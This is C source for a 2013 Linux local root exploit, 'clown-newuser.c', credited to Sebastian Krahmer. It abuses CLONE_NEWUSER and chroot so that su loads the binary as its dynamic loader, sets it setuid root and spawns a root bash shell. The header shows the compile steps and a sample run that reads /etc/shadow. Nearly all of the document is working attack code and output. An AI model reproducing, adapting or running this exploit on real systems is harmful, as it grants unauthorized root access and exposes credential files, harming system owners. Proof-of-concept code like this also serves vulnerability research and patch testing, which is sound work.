/* clown-newuser.c -- CLONE_NEWUSER kernel root PoC
 *
 * Dedicated to: Locke Locke Locke Locke Locke Locke Locke!
 *
 * This exploit was made on the 13.3.13.
 *
 * (C) 2013 Sebastian Krahmer
 *
 * We are so 90's, but we do 2013 xSports.
 *
 * Must be compiled static:
 *
 * stealth@linux-czfh:~> cc -Wall clown-newuser.c -static
 * stealth@linux-czfh:~> ./a.out
 * [**] clown-newuser -- CLONE_NEWUSER local root (C) 2013 Sebastian Krahmer
 *
 * [+] Found myself: '/home/stealth/a.out'
 * [*] Parent waiting for boomsh to appear...
 * [*] Setting up chroot ...
 * [+] Done.
 * [*] Cloning evil child...
 * [+] Done.
 * [+] Yay! euid=0 uid=1000
 * linux-czfh:/home/stealth # grep bin /etc/shadow
 * bin:*:15288::::::
 * linux-czfh:/home/stealth #
 *
 */
#define _GNU_SOURCE
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <errno.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>


void die(const char *msg)
{
	perror(msg);
	exit(errno);
}


int child(void *arg)
{
	sleep(1);
	setuid(0);

	/* this will also affect the parent, but the parent
	 * has the init_user_ns, so it will start suid with real uid 0.
	 */
	if (chdir("chroot") < 0)
		die("[-] chdir");
	if (chroot(".") < 0)
		die("[-] chroot");

	return 0;
}

char child_stack[1<<10];

int setup_chroot(const char *me)
{
	mkdir("chroot", 0755);
	mkdir("chroot/lib64", 0755);
	mkdir("chroot/bin", 0755);

	if (link(me, "chroot/lib64/ld-linux-x86-64.so.2") < 0)
		die("[-] link");
	if (link("/bin/su", "chroot/bin/su") < 0)
		die("[-] link");
	return 0;
}


extern char **environ;

int main(int argc, char *argv[])
{
	char *su[] = {"/bin/su", NULL};
	char *sh[] = {"/bin/bash", NULL};
	char me[256], *mee[] = {me, "1", NULL};
	pid_t pid;
	struct stat st;

	if (geteuid() == 0 && argc == 1) {
		/* this will run inside chroot, started as the ld.so from su process */
		printf("[+] Yay! euid=%d uid=%d\n", geteuid(), getuid());
		chown("lib64/ld-linux-x86-64.so.2", 0, 0);
		chmod("lib64/ld-linux-x86-64.so.2", 04755);
		exit(0);
	} else if (geteuid() == 0) {
		/* this will run outside */
		setuid(0);
		execve(*sh, sh, environ);
		die("[-] execve");
	}

	printf("[**] clown-newuser -- CLONE_NEWUSER local root (C) 2013 Sebastian Krahmer\n\n");

	memset(me, 0, sizeof(me));
	readlink("/proc/self/exe", me, sizeof(me) - 1);
	printf("[+] Found myself: '%s'\n", me);

	if (fork() > 0) {
		printf("[*] Parent waiting for boomsh to appear...\n");
		for (;;) {
			stat(me, &st);
			if (st.st_uid == 0)
				break;
			sleep(1);
		}
		execve(me, mee, NULL);
		die("[-] execve");
	}

	printf("[*] Setting up chroot ...\n");
	setup_chroot(me);
	printf("[+] Done.\n");
	printf("[*] Cloning evil child...\n");
	pid = clone(child, child_stack + sizeof(child_stack), CLONE_NEWUSER|CLONE_FS|SIGCHLD, NULL);
	if (pid == -1)
		die("[-] clone");

	printf("[+] Done.\n");
	waitpid(pid, NULL, 0);
	execve(*su, su, NULL);
	die("[-] execve");
	return -1;
}